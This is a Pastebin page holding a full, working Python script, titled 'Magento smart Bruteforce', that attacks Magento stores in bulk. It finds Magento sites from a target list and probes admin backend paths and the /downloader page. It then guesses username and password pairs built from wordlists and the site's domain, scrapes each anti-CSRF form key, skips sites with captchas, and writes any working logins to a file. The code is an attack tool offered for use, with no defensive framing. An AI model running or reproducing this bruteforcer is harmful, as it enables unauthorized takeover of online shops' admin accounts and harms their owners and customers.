daily pastebin goal
31%
SHARE
TWEET

Magento smart Bruteforce

greyx Apr 20th, 2018 (edited) 204 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import time
  2. import sys
  3. import os
  4. import ssl
  5. import urlparse
  6. import argparse
  7. from socket import timeout as socket_timeout
  8. from socket import error as socket_error
  9.  
  10. # Import requests, to handle the get and post requests
  11. try:
  12.  
  13.     import requests
  14.  
  15. except ImportError:
  16.     print('[!]Could not import requests module.')
  17.     sys.exit()
  18.  
  19. try:
  20.     from bs4 import BeautifulSoup
  21.     from bs4 import SoupStrainer
  22.  
  23. except ImportError:
  24.     print '[!]Could not import BeautifulSoup module.'
  25.     sys.exit()
  26.  
  27. import Queue
  28. import threading
  29.  
  30. requests.packages.urllib3.disable_warnings()
  31.  
  32.  
  33. def login_generator(domain):
  34.     for username in usernames:
  35.  
  36.         if '%site%' in username:
  37.             username = username.replace('%site%', domain)
  38.  
  39.         for password in passwords:
  40.  
  41.             if '%user%' in password:
  42.                 password = password.replace('%user%', username)
  43.  
  44.             if '%site%' in password:
  45.                 password = password.replace('%site%', domain)
  46.  
  47.             for char in (password[0].lower(),
  48.                          password[0].upper()):
  49.  
  50.                 yield (username, char + password[1:])
  51.  
  52.  
  53. def read_file(filename_to_read):
  54.     """Read each line of a file into a set."""
  55.  
  56.     lines = set()
  57.     with open(filename_to_read, 'r') as hFile:
  58.  
  59.         for file_line in hFile:
  60.  
  61.             file_line = file_line.strip()
  62.             if file_line and not file_line.startswith('#'):
  63.                 lines.add(file_line)
  64.  
  65.     return list(lines)
  66.  
  67.  
  68. def clean_url(url):
  69.     """Clean a url, give it a scheme and remove all unnecessary data."""
  70.     if url.endswith('/'):
  71.         url = url[:-1]
  72.  
  73.     o = urlparse.urlsplit(url)
  74.  
  75.     if o.scheme == '':
  76.         new_scheme = 'http'
  77.         url = 'http://' + url
  78.         o = urlparse.urlsplit(url)
  79.  
  80.     else:
  81.         new_scheme = o.scheme
  82.  
  83.     if '.' in o.path:
  84.         new_path = '/'.join(o.path.split('/')[: -1])
  85.  
  86.     else:
  87.         new_path = o.path
  88.  
  89.     return urlparse.urlunparse((new_scheme, o.netloc, new_path, '', '', '')) + '/'
  90.  
  91.  
  92. def get_domain(url):
  93.     """Return domain without ext from url.
  94.       url = www.google.com returns google.
  95.       The only problem is that url = random.google.com returns random and not google.
  96.       This is quick and dirty hack, but there is not really a better alternative."""
  97.  
  98.     o = urlparse.urlsplit(url)
  99.     netloc_list = o.netloc.split('.')
  100.  
  101.     if netloc_list[0] == 'www':
  102.         return netloc_list[1]
  103.  
  104.     else:
  105.         return netloc_list[0]
  106.  
  107.  
  108. def check_downloader_login(thread_id, session, url, username, password):
  109.     """Try to login to a Magento downloader with username:password"""
  110.  
  111.     if url in downloader_login_found:
  112.         return
  113.  
  114.     output_queue.put(('p', '[*]Thread-{0}:\tTrying downloader login: {1} {2}:{3}'.format(thread_id,
  115.                                                                                          url,
  116.                                                                                          username,
  117.                                                                                          password)))
  118.  
  119.     downloader_url = urlparse.urljoin(url, 'downloader')
  120.  
  121.     try:
  122.         response = session.post(downloader_url,
  123.                                 timeout=2,
  124.                                 data={'username': username,
  125.                                       'password': password
  126.                                       })
  127.  
  128.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  129.         pass
  130.  
  131.     else:
  132.  
  133.         if response.ok and '/downloader/index.php?A=logout' in response.text:
  134.  
  135.             downloader_login_found.append(url)
  136.  
  137.             output_queue.put(('w', '{0} {1}:{2}'.format(downloader_url,
  138.                                                         username,
  139.                                                         password)))
  140.  
  141.             output_queue.put(('p', '[+]Thread-{0}:\tFound login: {1} {2}:{3}'.format(thread_id,
  142.                                                                                      downloader_url,
  143.                                                                                      username,
  144.                                                                                      password)))
  145.  
  146.  
  147. def check_downloader(thread_id, url):
  148.     """"""
  149.  
  150.     output_queue.put(('p', '[*]Thread-{0}:\tChecking downloader: {1} '.format(thread_id, url)))
  151.  
  152.     downloader_url = urlparse.urljoin(url, 'downloader')
  153.  
  154.     session = requests.session()
  155.     session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"})
  156.     session.verify = False
  157.  
  158.     try:
  159.         response = session.get(downloader_url,
  160.                                timeout=2)
  161.  
  162.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  163.         pass
  164.  
  165.     else:
  166.         if response.ok and 'username' in response.text and 'password' in response.text:
  167.  
  168.             output_queue.put(('p', '[+]Thread-{0}:\tFound downloader: {1} '.format(thread_id, url)))
  169.  
  170.             for username, password in login_generator(get_domain(url)):
  171.  
  172.                 if url in downloader_login_found:
  173.                     return
  174.  
  175.                 check_downloader_login_queue.put((session, url, username, password))
  176.  
  177.  
  178. def check_login(thread_id, session, url, backend, post_data):
  179.     """"""
  180.  
  181.     if url in backend_login_found:
  182.         return
  183.  
  184.     login_url = urlparse.urljoin(url, backend)
  185.  
  186.     output_queue.put(('p', '[*]Thread-{0}:\tTrying login: {1} {2}:{3}'.format(thread_id,
  187.                                                                               url,
  188.                                                                               post_data['login[username]'],
  189.                                                                               post_data['login[password]'])))
  190.  
  191.     try:
  192.         response = session.post(login_url,
  193.  
  194.                                 # The login has a larger timeout, because login requests take longer.
  195.                                 timeout=5,
  196.                                 data=post_data)
  197.  
  198.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  199.         pass
  200.  
  201.     else:
  202.         if response.ok and 'dashboard' in response.url and 'logout' in response.text:
  203.  
  204.             backend_login_found.append(url)
  205.  
  206.             output_queue.put(('w', '{0} {1}:{2}'.format(login_url,
  207.                                                         post_data['login[username]'],
  208.                                                         post_data['login[password]'])))
  209.  
  210.             output_queue.put(('p', '[+]Thread-{0}:\tFound login: {1} {2}:{3}'.format(thread_id,
  211.                                                                                      login_url,
  212.                                                                                      post_data['login[username]'],
  213.                                                                                      post_data['login[password]'])))
  214.  
  215.  
  216. def get_form_key(thread_id, url, backend, username, password):
  217.     """"""
  218.  
  219.     if url in backend_login_found:
  220.         return
  221.  
  222.     backend_url = urlparse.urljoin(url, backend)
  223.  
  224.     session = requests.session()
  225.     session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"})
  226.     session.verify = False
  227.  
  228.     try:
  229.         response = session.get(backend_url,
  230.                                timeout=2)
  231.  
  232.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  233.         pass
  234.  
  235.     else:
  236.         if response.ok:
  237.  
  238.             parser = BeautifulSoup(response.text, 'html.parser', parse_only=SoupStrainer('input'))
  239.  
  240.             form_key_tag = parser.find('input',
  241.                                        {
  242.                                            'name': 'form_key',
  243.                                            'type': 'hidden',
  244.                                            'value': True
  245.                                        })
  246.  
  247.             if form_key_tag:
  248.  
  249.                 post_data = {
  250.                     'form_key': form_key_tag['value'],
  251.                     'login[username]': username,
  252.                     'login[password]': password
  253.                 }
  254.  
  255.                 check_login_queue.put((session, url, backend, post_data))
  256.  
  257.  
  258. def check_backend(thread_id, url, backends_index):
  259.     """"""
  260.  
  261.     backend = backends[backends_index]
  262.  
  263.     backend_url = urlparse.urljoin(url, backend)
  264.     output_queue.put(('p', '[*]Thread-{0}:\tChecking backend: {1}'.format(thread_id, backend_url)))
  265.  
  266.     try:
  267.         response = requests.get(backend_url,
  268.                                 verify=False,
  269.                                 headers={
  270.                                     'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0'},
  271.                                 timeout=2)
  272.  
  273.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  274.         pass
  275.  
  276.     else:
  277.  
  278.         if response.ok and 'login[username]' in response.text and 'login[password]' in response.text:
  279.  
  280.             if response.text.count('captcha') > 1:
  281.                 output_queue.put(('p', '[-]Thread-{0}:\tFound captcha: {1}'.format(thread_id, backend_url)))
  282.                 return
  283.  
  284.             output_queue.put(('p', '[+]Thread-{0}:\tFound backend: {1}'.format(thread_id, backend_url)))
  285.  
  286.             for username, password in login_generator(get_domain(url)):
  287.  
  288.                 if url in backend_login_found:
  289.                     return
  290.  
  291.                 form_key_queue.put((url, backend, username, password))
  292.  
  293.         else:
  294.             if backends_index < len(backends) - 1:
  295.                 check_backend_queue.put((url, backends_index + 1))
  296.  
  297.             elif backends_index == len(backends) - 1:
  298.                 check_downloader_queue.put((url,))
  299.  
  300.  
  301. def check_magento(thread_id, url):
  302.     """"""
  303.  
  304.     output_queue.put(('p', '[*]Thread-{0}:\tScanning: {1}'.format(thread_id, url)))
  305.  
  306.     try:
  307.         response = requests.get(url,
  308.                                 verify=False,
  309.                                 headers={
  310.                                     'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0'},
  311.                                 timeout=2)
  312.  
  313.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  314.         return
  315.  
  316.     else:
  317.  
  318.         if response.ok and 'Mage.Cookies' in response.text:
  319.  
  320.             output_queue.put(('p', '[+]Thread-{0}:\tFound Magento site: {1}'.format(thread_id, url)))
  321.  
  322.             check_backend_queue.put((url, 0))
  323.  
  324.  
  325. def run(thread_id):
  326.     """The main code, that each thread runs."""
  327.  
  328.     output_queue.put(('p', '[*]Thread-{0}:\tStarting'.format(thread_id)))
  329.  
  330.     while not main_shutdown_event.is_set():
  331.         # The order of execution
  332.         # Top first (the last step), bottom last(the first step)
  333.         for getQueue, function in (
  334.  
  335.                 (check_downloader_login_queue, check_downloader_login),
  336.                 (check_downloader_queue, check_downloader),
  337.  
  338.                 (check_login_queue, check_login),
  339.                 (form_key_queue, get_form_key),
  340.  
  341.                 (check_backend_queue, check_backend),
  342.                 (check_magento_queue, check_magento),
  343.         ):
  344.  
  345.             try:
  346.  
  347.                 data = getQueue.get(block=False)
  348.  
  349.             except Queue.Empty:
  350.                 pass
  351.  
  352.             else:
  353.  
  354.                 function(thread_id, *data)
  355.  
  356.                 getQueue.task_done()
  357.  
  358.     output_queue.put(('p', '[*]Thread-{0}:\tExiting'.format(thread_id)))
  359.  
  360.  
  361. def output_thread():
  362.     """The thread that does the non thread-safe output."""
  363.  
  364.     sys.stdout.write('[+]Thread-OUT:\tStarting\n')
  365.  
  366.     while not output_shutdown_event.is_set():
  367.         try:
  368.             mode, message = output_queue.get(block=False)
  369.  
  370.         except Queue.Empty:
  371.             pass
  372.  
  373.         else:
  374.  
  375.             message = unicode(message, errors='ignore')
  376.             message += '\n'
  377.  
  378.             if mode == 'p':
  379.                 sys.stdout.write(message)
  380.  
  381.             elif mode == 'w':
  382.                 with open(args.output_file, 'a') as hOut:
  383.                     hOut.write(str(message))
  384.  
  385.             output_queue.task_done()
  386.  
  387.     sys.stdout.write('[*]Thread-OUT:\tExiting\n')
  388.  
  389.  
  390. arg_parser = argparse.ArgumentParser(description='Magento bruteforcer made by g0r and sc485!')
  391. arg_parser.add_argument('-sf', '--site-file',
  392.                         type=str,
  393.                         metavar='sites.txt',
  394.                         help='File containing the input sites.',
  395.                         required=True)
  396.  
  397. arg_parser.add_argument('-of', '--output-file',
  398.                         type=str,
  399.                         metavar='out.txt',
  400.                         help='File the output will be written to.',
  401.                         required=True)
  402.  
  403.  
  404. arg_parser.add_argument('-uf', '--user-file',
  405.                         type=str,
  406.                         metavar='users.txt',
  407.                         help='File containing the usernames.',
  408.                         required=True)
  409.  
  410. arg_parser.add_argument('-pf', '--pass-file',
  411.                         type=str,
  412.                         metavar='passwords.txt',
  413.                         help='File containing the passwords.',
  414.                         required=True)
  415.  
  416. arg_parser.add_argument('-bf', '--backend-file',
  417.                         type=str,
  418.                         metavar='backends.txt',
  419.                         help='File containing the backend urls.',
  420.                         required=True)
  421.  
  422. arg_parser.add_argument('-thr', '--threads',
  423.                         type=int,
  424.                         metavar='n',
  425.                         help='Number of threads.',
  426.                         required=True)
  427.  
  428. args = arg_parser.parse_args()
  429.  
  430.  
  431. # Check if the files exist.
  432. for filename in (args.site_file, args.backend_file, args.user_file, args.pass_file):
  433.     if filename and not os.path.isfile(filename):
  434.         print '[!]File {0} not found!'.format(filename)
  435.         sys.exit()
  436.  
  437. print '[*]Starting Magento bruteforcer!'
  438. print '[*]Made by g0r and sc485'
  439. start_time = time.time()
  440.  
  441. # Create queue objects
  442. check_magento_queue = Queue.Queue()
  443. check_backend_queue = Queue.Queue()
  444.  
  445. form_key_queue = Queue.Queue()
  446. check_login_queue = Queue.Queue()
  447.  
  448. check_downloader_queue = Queue.Queue()
  449. check_downloader_login_queue = Queue.Queue()
  450.  
  451. output_queue = Queue.Queue()
  452.  
  453. # Create events
  454. main_shutdown_event = threading.Event()
  455. output_shutdown_event = threading.Event()
  456.  
  457. downloader_login_found = []
  458. backend_login_found = []
  459.  
  460. print '[*]Reading usernames.'
  461. usernames = read_file(args.user_file)
  462.  
  463. print '[*]Reading passwords.'
  464. passwords = read_file(args.pass_file)
  465.  
  466. print '[*]Reading backends.'
  467. backends = read_file(args.backend_file)
  468.  
  469.  
  470. with open(args.site_file, 'r') as hSites:
  471.     for line in hSites:
  472.  
  473.         line = line.strip()
  474.         if line and not line.startswith('#'):
  475.             site = clean_url(line)
  476.             check_magento_queue.put((site,))
  477.  
  478. nr_of_sites = check_magento_queue.qsize()
  479. if nr_of_sites == 0 or len(usernames) == 0 or len(passwords) == 0 or len(backends) == 0:
  480.     print '[!]No targets found!'
  481.     sys.exit()
  482.  
  483. print '[*]Found {0} targets.'.format(nr_of_sites)
  484.  
  485. if nr_of_sites < args.threads:
  486.     args.threads = nr_of_sites
  487.  
  488. print '[*]Starting {0} scanning threads.'.format(args.threads)
  489.  
  490. for i in range(args.threads):
  491.     t = threading.Thread(target=run,
  492.                          args=(i + 1,))
  493.     t.start()
  494.  
  495. print '[*]Starting output thread.'
  496. t = threading.Thread(target=output_thread)
  497. t.start()
  498.  
  499. # Work down the queues until they are all empty.
  500. check_magento_queue.join()
  501. check_backend_queue.join()
  502.  
  503. form_key_queue.join()
  504. check_login_queue.join()
  505.  
  506. check_downloader_queue.join()
  507. check_downloader_login_queue.join()
  508.  
  509. main_shutdown_event.set()
  510.  
  511. # Write and print the last few messages and then exit
  512. output_queue.join()
  513.  
  514. output_shutdown_event.set()
  515.  
  516. sys.stdout.write('[+]Done! Time: {time:.2f} seconds.\n'.format(time=time.time() - start_time))
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top